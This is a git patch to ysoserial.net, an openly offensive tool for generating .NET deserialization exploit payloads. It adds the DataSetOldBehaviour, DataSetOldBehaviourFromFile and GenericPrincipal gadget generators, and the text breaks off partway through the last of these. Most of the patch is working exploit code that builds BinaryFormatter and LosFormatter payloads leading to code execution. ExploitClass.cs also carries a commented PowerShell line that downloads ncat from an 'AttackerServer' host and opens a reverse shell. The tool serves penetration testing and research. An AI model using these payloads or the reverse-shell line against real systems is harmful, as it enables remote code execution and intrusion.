From 46bc9b1d33c06f64df3b3bf0384aed131d1b359f Mon Sep 17 00:00:00 2001 From: Soroush Dalili <1798313+irsdl@users.noreply.github.com> Date: Thu, 24 Nov 2022 00:47:19 +0000 Subject: [PATCH] Adding new gadgets & improvments Three new gadgets have been added: - DataSetOldBehaviourFromFile - DataSetOldBehaviour - GenericPrincipal Minor code improvements + fixing some typos --- ExploitClass/ExploitClass.cs | 8 +- README.md | 69 +++-- ...ivitySurrogateSelectorFromFileGenerator.cs | 17 +- .../DataSetOldBehaviourFromFileGenerator.cs | 229 ++++++++++++++++ .../DataSetOldBehaviourGenerator.cs | 207 +++++++++++++++ .../Generators/DataSetTypeSpoofGenerator.cs | 2 +- .../Generators/GenericPrincipalGenerator.cs | 249 ++++++++++++++++++ ysoserial/Generators/IGenerator.cs | 2 +- .../Generators/ObjectDataProviderGenerator.cs | 2 +- .../TextFormattingRunPropertiesGenerator.cs | 2 +- ysoserial/Helpers/LocalCodeCompiler.cs | 62 +++++ ysoserial/Plugins/SharePointPlugin.cs | 6 +- ysoserial/Program.cs | 6 +- ysoserial/ysoserial.csproj | 4 + 14 files changed, 817 insertions(+), 48 deletions(-) create mode 100644 ysoserial/Generators/DataSetOldBehaviourFromFileGenerator.cs create mode 100644 ysoserial/Generators/DataSetOldBehaviourGenerator.cs create mode 100644 ysoserial/Generators/GenericPrincipalGenerator.cs create mode 100644 ysoserial/Helpers/LocalCodeCompiler.cs diff --git a/ExploitClass/ExploitClass.cs b/ExploitClass/ExploitClass.cs index 64d1a32..50c1816 100644 --- a/ExploitClass/ExploitClass.cs +++ b/ExploitClass/ExploitClass.cs @@ -8,11 +8,11 @@ public E() /* Payload code to be executed. Examples: */ - /* Showing a message box: -c "ExploitClass.cs;./dlls/System.Windows.Forms.dll" */ + /* Showing a message box: -c "ExploitClass.cs;System.Windows.Forms.dll" */ System.Windows.Forms.MessageBox.Show("Pwned", "Pwned", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Error); - /* Creating a text file: -c "ExploitClass.cs;./dlls/System.dll" */ + /* Creating a text file: -c "ExploitClass.cs;System.dll" */ /* using (System.IO.StreamWriter outputFile = new System.IO.StreamWriter(@"C:\windows\temp\test.txt")) { @@ -21,11 +21,11 @@ public E() //*/ - /* Making a DNS request for PoC (System.dll needs to be in the dlls folder): -c "ExploitClass.cs;./dlls/System.dll" */ + /* Making a DNS request for PoC (System.dll needs to be in the dlls folder): -c "ExploitClass.cs;System.dll" */ //System.Net.Dns.Resolve("8z89j28ubxz878iktsny9abwyn4ds2.burpcollaborator.net"); - /* Running a command: -c "ExploitClass.cs;./dlls/System.dll" */ + /* Running a command: -c "ExploitClass.cs;System.dll" */ //System.Diagnostics.Process.Start("cmd.exe", "/c calc"); //System.Diagnostics.Process.Start("powershell.exe", "-Command \"(New-Object Net.WebClient).DownloadFile(\\\"http://AttackerServer/ncat.exe\\\", \\\"c:\\windows\\temp\\ncat.exe\\\")\"");// & c:\\windows\\temp\\ncat.exe -nv AttackerServerIP 4444 -e powershell.exe"); diff --git a/README.md b/README.md index 80f5712..65946eb 100644 --- a/README.md +++ b/README.md @@ -58,31 +58,60 @@ ysoserial.net generates deserialization payloads for a variety of .NET formatter (*) AxHostState Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter - Labels: Bridge and dervied + Labels: Bridge and derived Supported formatter for the bridge: BinaryFormatter (*) ClaimsIdentity Formatters: BinaryFormatter , LosFormatter , SoapFormatter - Labels: Bridge and dervied, OnDeserialized + Labels: Bridge and derived, OnDeserialized Supported formatter for the bridge: BinaryFormatter (*) ClaimsPrincipal Formatters: BinaryFormatter , LosFormatter , SoapFormatter - Labels: Bridge and dervied, OnDeserialized, SecondOrderDeserialization + Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization Supported formatter for the bridge: BinaryFormatter (*) DataSet Formatters: BinaryFormatter , LosFormatter , SoapFormatter - Labels: Bridge and dervied + Labels: Bridge and derived Supported formatter for the bridge: BinaryFormatter - (*) DataSetTypeSpoof [A more advanced type spoofing which can use any arbtirary types can be seen in TestingArenaHome::SpoofByBinaryFormatterJson] + (*) DataSetOldBehaviour [This gadget targets and old behaviour of DataSet which uses XML format] + Formatters: BinaryFormatter , LosFormatter + Labels: Bridge and derived + Supported formatter for the bridge: LosFormatter + Extra options: + --spoofedAssembly=VALUE + The numerical internal gadget choice to use: + 1=TypeConfuseDelegate, + 2=TextFormattingRunProperties (default: 1 + [TypeConfuseDelegate]) + + (*) DataSetOldBehaviourFromFile [Another variant of the DataSetOldBehaviour gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll'] + Formatters: BinaryFormatter , LosFormatter + Labels: Bridge and derived + Extra options: + -x=VALUE The numerical internal gadget choice to use: + 1=TypeConfuseDelegate, + 2=TextFormattingRunProperties (default: 1 + [TypeConfuseDelegate]) + + (*) DataSetTypeSpoof [A more advanced type spoofing which can use any arbitrary types can be seen in TestingArenaHome::SpoofByBinaryFormatterJson or in the DataSetOldBehaviour gadget] Formatters: BinaryFormatter , LosFormatter , SoapFormatter - Labels: Bridge and dervied + Labels: Bridge and derived + Supported formatter for the bridge: BinaryFormatter + (*) GenericPrincipal + Formatters: BinaryFormatter , LosFormatter + Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization Supported formatter for the bridge: BinaryFormatter + Extra options: + --var, --variant=VALUE Payload variant number where applicable. + Choices: 1 (uses serialized ClaimsIdentities), 2 + (uses serialized Claims) + (*) ObjectDataProvider Formatters: DataContractSerializer (2) , FastJson , FsPickler , JavaScriptSerializer , Json.Net , SharpSerializerBinary , SharpSerializerXml , Xaml (4) , XmlSerializer (2) , YamlDotNet < 5.0.0 Labels: Not bridge or derived Extra options: --var, --variant=VALUE Payload variant number where applicable. Choices: 1, 2, 3, ... based on formatter. - --xamlurl=VALUE This is to create a very short paylaod when + --xamlurl=VALUE This is to create a very short payload when affected box can read the target XAML URL e.g. "http://b8.ee/x" (can be a file path on a shared drive or the local system). This is used by the @@ -108,21 +137,21 @@ ysoserial.net generates deserialization payloads for a variety of .NET formatter (*) RolePrincipal Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter - Labels: Bridge and dervied + Labels: Bridge and derived Supported formatter for the bridge: BinaryFormatter (*) SessionSecurityToken Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter - Labels: Bridge and dervied + Labels: Bridge and derived Supported formatter for the bridge: BinaryFormatter (*) SessionViewStateHistoryItem Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter - Labels: Bridge and dervied + Labels: Bridge and derived Supported formatter for the bridge: LosFormatter (*) TextFormattingRunProperties [This normally generates the shortest payload] Formatters: BinaryFormatter , DataContractSerializer , LosFormatter , NetDataContractSerializer , SoapFormatter Labels: Not bridge but derived Extra options: - --xamlurl=VALUE This is to create a very short paylaod when + --xamlurl=VALUE This is to create a very short payload when affected box can read the target XAML URL e.g. "http://b8.ee/x" (can be a file path on a shared drive or the local system). This is used by the @@ -135,7 +164,7 @@ ysoserial.net generates deserialization payloads for a variety of .NET formatter (*) ToolboxItemContainer Formatters: BinaryFormatter , LosFormatter , SoapFormatter - Labels: Bridge and dervied + Labels: Bridge and derived Supported formatter for the bridge: BinaryFormatter (*) TypeConfuseDelegate Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer @@ -145,7 +174,7 @@ ysoserial.net generates deserialization payloads for a variety of .NET formatter Labels: Not bridge or derived (*) WindowsClaimsIdentity [Requires Microsoft.IdentityModel.Claims namespace (not default GAC)] Formatters: BinaryFormatter (3) , DataContractSerializer (2) , Json.Net (2) , LosFormatter (3) , NetDataContractSerializer (3) , SoapFormatter (2) - Labels: Bridge and dervied, Not in GAC + Labels: Bridge and derived, Not in GAC Supported formatter for the bridge: BinaryFormatter Extra options: --var, --variant=VALUE Payload variant number where applicable. @@ -153,11 +182,11 @@ ysoserial.net generates deserialization payloads for a variety of .NET formatter (*) WindowsIdentity Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter - Labels: Bridge and dervied + Labels: Bridge and derived Supported formatter for the bridge: BinaryFormatter (*) WindowsPrincipal Formatters: BinaryFormatter , DataContractJsonSerializer , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter - Labels: Bridge and dervied + Labels: Bridge and derived == PLUGINS == (*) ActivatorUrl (Sends a generated payload to an activated, presumably remote, object) @@ -353,7 +382,7 @@ Options: formatters). Default: true --raf, --runallformatters Whether to run all the gadgets with the provided - formatter (ignores gagdet name, output format, + formatter (ignores gadget name, output format, and the test flag arguments). This will search in formatters and also show the displayed payload length. Default: false @@ -479,7 +508,7 @@ Special thanks to all contributors: $ ./ysoserial.exe --credit ysoserial.net has been originally developed by Alvaro Munoz (@pwntester) -this tool is being maintained by Alvaro Munoz (@pwntester) and Soroush Dalili (@irsdl) +this tool is being maintained by Soroush Dalili (@irsdl) and Alvaro Munoz (@pwntester) Credits for available gadgets: ActivitySurrogateDisableTypeCheck @@ -496,8 +525,14 @@ Credits for available gadgets: [Finders: jang] DataSet [Finders: James Forshaw] [Contributors: Soroush Dalili] + DataSetOldBehaviour + [Finders: Steven Seeley] [Contributors: Soroush Dalili] + DataSetOldBehaviourFromFile + [Finders: Steven Seeley, Markus Wulftange] [Contributors: Soroush Dalili] DataSetTypeSpoof [Finders: James Forshaw] [Contributors: Soroush Dalili, Markus Wulftange, Jang] + GenericPrincipal + [Finders: Soroush Dalili] ObjectDataProvider [Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro Munoz, Soroush Dalili, Dane Evans] ObjRef diff --git a/ysoserial/Generators/ActivitySurrogateSelectorFromFileGenerator.cs b/ysoserial/Generators/ActivitySurrogateSelectorFromFileGenerator.cs index bf598bb..772b186 100644 --- a/ysoserial/Generators/ActivitySurrogateSelectorFromFileGenerator.cs +++ b/ysoserial/Generators/ActivitySurrogateSelectorFromFileGenerator.cs @@ -19,22 +19,7 @@ public PayloadClassFromFile(string file, int variant_number, InputArgs inputArgs { this.variant_number = variant_number; this.inputArgs = inputArgs; - string[] files = file.Split(new[] { ';' }).Select(s => s.Trim()).ToArray(); - CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp"); - CompilerParameters compilerParameters = new CompilerParameters(); - compilerParameters.CompilerOptions = "-t:library -o+ -platform:anycpu"; - compilerParameters.ReferencedAssemblies.AddRange(files.Skip(1).ToArray()); - CompilerResults compilerResults = codeDomProvider.CompileAssemblyFromFile(compilerParameters, files[0]); - if (compilerResults.Errors.Count > 0) - { - foreach (CompilerError error in compilerResults.Errors) - { - Console.Error.WriteLine(error.ErrorText); - } - Environment.Exit(-1); - } - base.assemblyBytes = File.ReadAllBytes(compilerResults.PathToAssembly); - File.Delete(compilerResults.PathToAssembly); + base.assemblyBytes = LocalCodeCompiler.CompileToAsmBytes(file); } } diff --git a/ysoserial/Generators/DataSetOldBehaviourFromFileGenerator.cs b/ysoserial/Generators/DataSetOldBehaviourFromFileGenerator.cs new file mode 100644 index 0000000..7c17a84 --- /dev/null +++ b/ysoserial/Generators/DataSetOldBehaviourFromFileGenerator.cs @@ -0,0 +1,229 @@ +using NDesk.Options; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using ysoserial.Generators; +using ysoserial.Helpers; +using ysoserial.Helpers.ModifiedVulnerableBinaryFormatters; + +namespace ysoserial.Generators +{ + internal class DataSetOldBehaviourFromFileGenerator : GenericGenerator + { + public override string AdditionalInfo() + { + var info = "Another variant of the DataSetOldBehaviour gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll'"; + return info; + } + + public override string Name() + { + return "DataSetOldBehaviourFromFile"; + } + + public override string Finders() + { + return "Steven Seeley, Markus Wulftange"; + } + + public override string Contributors() + { + return "Soroush Dalili"; + } + + public override List Labels() + { + return new List { GadgetTypes.BridgeAndDerived }; + } + + public override List SupportedFormatters() + { + return new List { "BinaryFormatter", "LosFormatter" }; + } + + public override string SupportedBridgedFormatter() + { + // We haven't created it in a way to accept arbitrary XAML yet... + return Formatters.None; + } + + string spoofedAssembly = "System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"; + public override OptionSet Options() + { + OptionSet options = new OptionSet() + { + {"x=", "The numerical internal gadget choice to use: 1=TypeConfuseDelegate, 2=TextFormattingRunProperties (default: 1 [TypeConfuseDelegate])", v => spoofedAssembly = v } + }; + + return options; + } + + string xmlSchema = "\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n"; + + string xmlXamlParser = "Parse%ResourceDictionary%"; + + public override object Generate(string formatter, InputArgs inputArgs) + { + var files = inputArgs.Cmd; + byte[] asmData = LocalCodeCompiler.CompileToAsmBytes(files); + var asmDataList = asmData.ToList(); + var xml_asmDataList = SerializersHelper.XmlSerializer_serialize(asmDataList); + xml_asmDataList = Regex.Replace(xml_asmDataList, @"<\?xml[^>]*>", ""); + xml_asmDataList = Regex.Replace(xml_asmDataList, @"]*>", ""); + xml_asmDataList = Regex.Replace(xml_asmDataList, @"\s", ""); + xml_asmDataList = xml_asmDataList.Replace("unsignedByte", "s:Byte"); + + string xmlResourceDict = @" + + + + " + xml_asmDataList + @" + + + + + + + + + 0 + + + + + + 512 + + + + + + + + +"; + + if (inputArgs.Minify) + { + if (inputArgs.UseSimpleType) + { + xmlSchema = XmlMinifier.Minify(xmlSchema, new string[] { }, new string[] { }); + xmlXamlParser = XmlMinifier.Minify(xmlXamlParser, new string[] { }, new string[] { }); + xmlResourceDict = XmlMinifier.Minify(xmlResourceDict, new string[] { }, new string[] { }); + } + else + { + xmlSchema = XmlMinifier.Minify(xmlSchema, new string[] { }, new string[] { }); + xmlXamlParser = XmlMinifier.Minify(xmlXamlParser, new string[] { }, new string[] { }); + xmlResourceDict = XmlMinifier.Minify(xmlResourceDict, new string[] { }, new string[] { }); + } + } + + xmlXamlParser = xmlXamlParser.Replace("%ResourceDictionary%", ""); + xmlSchema = CommandArgSplitter.JsonStringEscape(xmlSchema); + xmlXamlParser = CommandArgSplitter.JsonStringEscape(xmlXamlParser); + + var bf_json = @"[{""Id"": 1, + ""Data"": { + ""$type"": ""SerializationHeaderRecord"", + ""binaryFormatterMajorVersion"": 1, + ""binaryFormatterMinorVersion"": 0, + ""binaryHeaderEnum"": 0, + ""topId"": 1, + ""headerId"": -1, + ""majorVersion"": 1, + ""minorVersion"": 0 +}},{""Id"": 2, + ""TypeName"": ""Assembly"", + ""Data"": { + ""$type"": ""BinaryAssembly"", + ""assemId"": 2, + ""assemblyString"": ""%SPOOFED%"" +}},{""Id"": 3, + ""TypeName"": ""ObjectWithMapTypedAssemId"", + ""Data"": { + ""$type"": ""BinaryObjectWithMapTyped"", + ""binaryHeaderEnum"": 5, + ""objectId"": 1, + ""name"": ""System.Data.DataSet,System.Data"", + ""numMembers"": 2, + ""memberNames"":[""XmlSchema"",""XmlDiffGram""], + ""binaryTypeEnumA"":[1,1], + ""typeInformationA"":[null,null], + ""typeInformationB"":[null,null], + ""memberAssemIds"":[0,0], + ""assemId"": 2 +}},{""Id"": 5, + ""TypeName"": ""ObjectString"", + ""Data"": { + ""$type"": ""BinaryObjectString"", + ""objectId"": 4, + ""value"": """ + xmlSchema + @""" +}},{""Id"": 6, + ""TypeName"": ""ObjectString"", + ""Data"": { + ""$type"": ""BinaryObjectString"", + ""objectId"": 5, + ""value"": """ + xmlXamlParser + @""" +}},{""Id"": 12, + ""TypeName"": ""MessageEnd"", + ""Data"": { + ""$type"": ""MessageEnd"" +}}]"; + + bf_json = bf_json.Replace("%SPOOFED%", spoofedAssembly); + + MemoryStream ms_bf = AdvancedBinaryFormatterParser.JsonToStream(bf_json); + + if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase)) + { + //BinaryFormatter + if (inputArgs.Test) + { + try + { + ms_bf.Position = 0; + SerializersHelper.BinaryFormatter_deserialize(ms_bf); + } + catch (Exception err) + { + Debugging.ShowErrors(inputArgs, err); + } + } + return ms_bf.ToArray(); + } + else if(formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase)) + { + // LosFormatter + MemoryStream ms_lf = SimpleMinifiedObjectLosFormatter.BFStreamToLosFormatterStream(ms_bf); + + if (inputArgs.Test) + { + try + { + ms_bf.Position = 0; + SerializersHelper.LosFormatter_deserialize(ms_lf.ToArray()); + } + catch (Exception err) + { + Debugging.ShowErrors(inputArgs, err); + } + } + return ms_lf.ToArray(); + } + else + { + throw new Exception("Formatter not supported"); + } + } + } +} diff --git a/ysoserial/Generators/DataSetOldBehaviourGenerator.cs b/ysoserial/Generators/DataSetOldBehaviourGenerator.cs new file mode 100644 index 0000000..d613ce0 --- /dev/null +++ b/ysoserial/Generators/DataSetOldBehaviourGenerator.cs @@ -0,0 +1,207 @@ +using NDesk.Options; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using ysoserial.Generators; +using ysoserial.Helpers; +using ysoserial.Helpers.ModifiedVulnerableBinaryFormatters; + +namespace ysoserial.Generators +{ + internal class DataSetOldBehaviourGenerator : GenericGenerator + { + public override string AdditionalInfo() + { + /* + The DataSetOldBehaviour and DataSetOldBehaviourFromFile gadgets are based on three ideas: + 1- Steven Seeley's research documented at https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html + + 2- Concept of converting BinaryFromatter to JSON by Soroush Dalili for further manipulation and pruning + + 3- Markus Wulftange's idea of loading assembly byte code to bypass restrictions we currently have for ActivitySurrogateSelector + + This gadget targets and old behaviour of DataSet which uses XML format (https://github.com/microsoft/referencesource/blob/dae14279dd0672adead5de00ac8f117dcf74c184/System.Data/System/Data/DataSet.cs#L323) which is different than what was found in the DataSet gadget by James Forshaw + */ + var info = @"This gadget targets and old behaviour of DataSet which uses XML format"; + + return info; + } + + public override string Name() + { + return "DataSetOldBehaviour"; + } + + public override string Finders() + { + return "Steven Seeley"; + } + + public override string Contributors() + { + return "Soroush Dalili"; + } + + public override List Labels() + { + return new List { GadgetTypes.BridgeAndDerived }; + } + + public override List SupportedFormatters() + { + return new List { "BinaryFormatter", "LosFormatter" }; // SoapFormatter for the curious? + } + + public override string SupportedBridgedFormatter() + { + return Formatters.LosFormatter; + } + + string spoofedAssembly = "System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"; + public override OptionSet Options() + { + OptionSet options = new OptionSet() + { + {"spoofedAssembly=", "The numerical internal gadget choice to use: 1=TypeConfuseDelegate, 2=TextFormattingRunProperties (default: 1 [TypeConfuseDelegate])", v => spoofedAssembly = v } + }; + + return options; + } + + string xmlSchema = "\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n"; + + string xmlLosFormatterDeserializeCaller = "Deserialize%LosFromatterPayload%"; + + public override object Generate(string formatter, InputArgs inputArgs) + { + byte[] losFormatterPayload; + if (BridgedPayload != null) + { + losFormatterPayload = (byte[])BridgedPayload; + } + else + { + losFormatterPayload = (byte[])new TextFormattingRunPropertiesGenerator().GenerateWithNoTest("LosFormatter", inputArgs); + } + + if (inputArgs.Minify) + { + if (inputArgs.UseSimpleType) + { + xmlSchema = XmlMinifier.Minify(xmlSchema, new string[] { }, new string[] { }); + xmlLosFormatterDeserializeCaller = XmlMinifier.Minify(xmlLosFormatterDeserializeCaller, new string[] { }, new string[] { }); + } + else + { + xmlSchema = XmlMinifier.Minify(xmlSchema, new string[] { }, new string[] { }); + xmlLosFormatterDeserializeCaller = XmlMinifier.Minify(xmlLosFormatterDeserializeCaller, new string[] { }, new string[] { }); + } + } + + xmlSchema = CommandArgSplitter.JsonStringEscape(xmlSchema); + xmlLosFormatterDeserializeCaller = CommandArgSplitter.JsonStringEscape(xmlLosFormatterDeserializeCaller); + + var losFormatterPayloadString = Encoding.UTF8.GetString(losFormatterPayload); + + xmlLosFormatterDeserializeCaller = xmlLosFormatterDeserializeCaller.Replace("%LosFromatterPayload%", losFormatterPayloadString); + + + + var bf_json = @"[{""Id"": 1, + ""Data"": { + ""$type"": ""SerializationHeaderRecord"", + ""binaryFormatterMajorVersion"": 1, + ""binaryFormatterMinorVersion"": 0, + ""binaryHeaderEnum"": 0, + ""topId"": 1, + ""headerId"": -1, + ""majorVersion"": 1, + ""minorVersion"": 0 +}},{""Id"": 2, + ""TypeName"": ""Assembly"", + ""Data"": { + ""$type"": ""BinaryAssembly"", + ""assemId"": 2, + ""assemblyString"": ""%SPOOFED%"" +}},{""Id"": 3, + ""TypeName"": ""ObjectWithMapTypedAssemId"", + ""Data"": { + ""$type"": ""BinaryObjectWithMapTyped"", + ""binaryHeaderEnum"": 5, + ""objectId"": 1, + ""name"": ""System.Data.DataSet,System.Data"", + ""numMembers"": 2, + ""memberNames"":[""XmlSchema"",""XmlDiffGram""], + ""binaryTypeEnumA"":[1,1], + ""typeInformationA"":[null,null], + ""typeInformationB"":[null,null], + ""memberAssemIds"":[0,0], + ""assemId"": 2 +}},{""Id"": 5, + ""TypeName"": ""ObjectString"", + ""Data"": { + ""$type"": ""BinaryObjectString"", + ""objectId"": 4, + ""value"": """ + xmlSchema + @""" +}},{""Id"": 6, + ""TypeName"": ""ObjectString"", + ""Data"": { + ""$type"": ""BinaryObjectString"", + ""objectId"": 5, + ""value"": """ + xmlLosFormatterDeserializeCaller+ @""" +}},{""Id"": 12, + ""TypeName"": ""MessageEnd"", + ""Data"": { + ""$type"": ""MessageEnd"" +}}]"; + + bf_json = bf_json.Replace("%SPOOFED%", spoofedAssembly); + + MemoryStream ms_bf = AdvancedBinaryFormatterParser.JsonToStream(bf_json); + + if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase)) + { + //BinaryFormatter + if (inputArgs.Test) + { + try + { + ms_bf.Position = 0; + SerializersHelper.BinaryFormatter_deserialize(ms_bf); + } + catch (Exception err) + { + Debugging.ShowErrors(inputArgs, err); + } + } + return ms_bf.ToArray(); + } + else if(formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase)) + { + // LosFormatter + MemoryStream ms_lf = SimpleMinifiedObjectLosFormatter.BFStreamToLosFormatterStream(ms_bf); + + if (inputArgs.Test) + { + try + { + ms_bf.Position = 0; + SerializersHelper.LosFormatter_deserialize(ms_lf.ToArray()); + } + catch (Exception err) + { + Debugging.ShowErrors(inputArgs, err); + } + } + return ms_lf.ToArray(); + } + else + { + throw new Exception("Formatter not supported"); + } + } + } +} diff --git a/ysoserial/Generators/DataSetTypeSpoofGenerator.cs b/ysoserial/Generators/DataSetTypeSpoofGenerator.cs index 03b9356..aeb2c3c 100644 --- a/ysoserial/Generators/DataSetTypeSpoofGenerator.cs +++ b/ysoserial/Generators/DataSetTypeSpoofGenerator.cs @@ -22,7 +22,7 @@ public override string Contributors() public override string AdditionalInfo() { - return "A more advanced type spoofing which can use any arbtirary types can be seen in TestingArenaHome::SpoofByBinaryFormatterJson"; + return "A more advanced type spoofing which can use any arbitrary types can be seen in TestingArenaHome::SpoofByBinaryFormatterJson or in the DataSetOldBehaviour gadget"; } public override string SupportedBridgedFormatter() diff --git a/ysoserial/Generators/GenericPrincipalGenerator.cs b/ysoserial/Generators/GenericPrincipalGenerator.cs new file mode 100644 index 0000000..5e7c7cc --- /dev/null +++ b/ysoserial/Generators/GenericPrincipalGenerator.cs @@ -0,0 +1,249 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel.Design; +using ysoserial.Helpers; +using System.IO; +using System.Reflection; +using System.Web.UI.WebControls; +using ysoserial.Helpers.ModifiedVulnerableBinaryFormatters; +using NDesk.Options; + +namespace ysoserial.Generators +{ + public class GenericPrincipalGenerator : GenericGenerator + { + int variant_number = 1; + public override List SupportedFormatters() + { + return new List { "BinaryFormatter", "LosFormatter" }; // SoapFormatter for the curious! + } + + public override string Name() + { + return "GenericPrincipal"; + } + + public override string Finders() + { + return "Soroush Dalili"; + } + + public override List Labels() + { + return new List { GadgetTypes.BridgeAndDerived, "OnDeserialized" , "SecondOrderDeserialization"}; //inherits ClaimsPrincipal + } + + public override OptionSet Options() + { + OptionSet options = new OptionSet() + { + {"var|variant=", "Payload variant number where applicable. Choices: 1 (uses serialized ClaimsIdentities), 2 (uses serialized Claims)", v => int.TryParse(v, out variant_number) }, + }; + + return options; + } + + public override string SupportedBridgedFormatter() + { + return Formatters.BinaryFormatter; + } + + public override object Generate(string formatter, InputArgs inputArgs) + { + byte[] binaryFormatterPayload; + if (BridgedPayload != null) + { + binaryFormatterPayload = (byte[]) BridgedPayload; + } + else + { + binaryFormatterPayload = (byte[]) (new TypeConfuseDelegateGenerator()).GenerateWithNoTest("BinaryFormatter", inputArgs); + } + + string b64encoded = Convert.ToBase64String(binaryFormatterPayload); + string bfPayload1 = ""; + string bfPayload2 = ""; + + if(variant_number == 1) + { + bfPayload1 = b64encoded; + } + else + { + bfPayload2 = b64encoded; + } + + if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) + || formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase)) + { + string payload_bf_json = @"[{""Id"": 1, + ""Data"": { + ""$type"": ""SerializationHeaderRecord"", + ""binaryFormatterMajorVersion"": 1, + ""binaryFormatterMinorVersion"": 0, + ""binaryHeaderEnum"": 0, + ""topId"": 1, + ""headerId"": -1, + ""majorVersion"": 1, + ""minorVersion"": 0 +}},{""Id"": 2, + ""TypeName"": ""ObjectWithMapTyped"", + ""Data"": { + ""$type"": ""BinaryObjectWithMapTyped"", + ""binaryHeaderEnum"": 4, + ""objectId"": 1, + ""name"": ""System.Security.Principal.GenericPrincipal"", + ""numMembers"": 4, + ""memberNames"":[""m_identity"",""m_roles"",""ClaimsPrincipal+m_version"",""ClaimsPrincipal+m_serializedClaimsIdentities""], + ""binaryTypeEnumA"":[3,6,1,1], + ""typeInformationA"":[null,null,null,null], + ""typeInformationB"":[""System.Security.Claims.ClaimsIdentity"",null,null,null], + ""memberAssemIds"":[0,0,0,0], + ""assemId"": 0 +}},{""Id"": 3, + ""TypeName"": ""MemberReference"", + ""Data"": { + ""$type"": ""MemberReference"", + ""idRef"": 2 +}},{""Id"": 4, + ""TypeName"": ""MemberReference"", + ""Data"": { + ""$type"": ""MemberReference"", + ""idRef"": 3 +}},{""Id"": 5, + ""TypeName"": ""ObjectString"", + ""Data"": { + ""$type"": ""BinaryObjectString"", + ""objectId"": 4, + ""value"": ""1.0"" +}},{""Id"": 6, + ""TypeName"": ""ObjectString"", + ""Data"": { + ""$type"": ""BinaryObjectString"", + ""objectId"": 5, + ""value"": """ + bfPayload1 + @""" +}},{""Id"": 7, + ""TypeName"": ""ObjectWithMapTyped"", + ""Data"": { + ""$type"": ""BinaryObjectWithMapTyped"", + ""binaryHeaderEnum"": 4, + ""objectId"": 2, + ""name"": ""System.Security.Claims.ClaimsIdentity"", + ""numMembers"": 8, + ""memberNames"":[""m_version"",""m_actor"",""m_authenticationType"",""m_bootstrapContext"",""m_label"",""m_serializedNameType"",""m_serializedRoleType"",""m_serializedClaims""], + ""binaryTypeEnumA"":[1,3,1,2,1,1,1,1], + ""typeInformationA"":[null,null,null,null,null,null,null,null], + ""typeInformationB"":[null,""System.Security.Claims.ClaimsIdentity"",null,null,null,null,null,null], + ""memberAssemIds"":[0,0,0,0,0,0,0,0], + ""assemId"": 0 +}},{""Id"": 8, + ""TypeName"": ""MemberReference"", + ""Data"": { + ""$type"": ""MemberReference"", + ""idRef"": 4 +}},{""Id"": 9, + ""TypeName"": ""ObjectNull"", + ""Data"": { + ""$type"": ""ObjectNull"", + ""nullCount"": 1 +}},{""Id"": 10, + ""TypeName"": ""ObjectNull"", + ""Data"": { + ""$type"": ""ObjectNull"", + ""nullCount"": 1 +}},{""Id"": 11, + ""TypeName"": ""ObjectNull"", + ""Data"": { + ""$type"": ""ObjectNull"", + ""nullCount"": 1 +}},{""Id"": 12, + ""TypeName"": ""ObjectNull"", + ""Data"": { + ""$type"": ""ObjectNull"", + ""nullCount"": 1 +}},{""Id"": 13, + ""TypeName"": ""ObjectString"", + ""Data"": { + ""$type"": ""BinaryObjectString"", + ""objectId"": 7, + ""value"": ""http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name"" +}},{""Id"": 14, + ""TypeName"": ""ObjectString"", + ""Data"": { + ""$type"": ""BinaryObjectString"", + ""objectId"": 8, + ""value"": ""http://schemas.microsoft.com/ws/2008/06/identity/claims/role"" +}},{""Id"": 15, + ""TypeName"": ""ObjectString"", + ""Data"": { + ""$type"": ""BinaryObjectString"", + ""objectId"": 9, + ""value"": """ + bfPayload2 + @""" +}},{""Id"": 16, + ""TypeName"": ""ArraySingleString"", + ""Data"": { + ""$type"": ""BinaryArray"", + ""objectId"": 3, + ""rank"": 1, + ""lengthA"":[0], + ""lowerBoundA"":[0], + ""binaryTypeEnum"": 1, + ""typeInformation"": null, + ""assemId"": 0, + ""binaryHeaderEnum"": 17, + ""binaryArrayTypeEnum"": 0 +}},{""Id"": 19, + ""TypeName"": ""MessageEnd"", + ""Data"": { + ""$type"": ""MessageEnd"" +}}]"; + + MemoryStream ms = 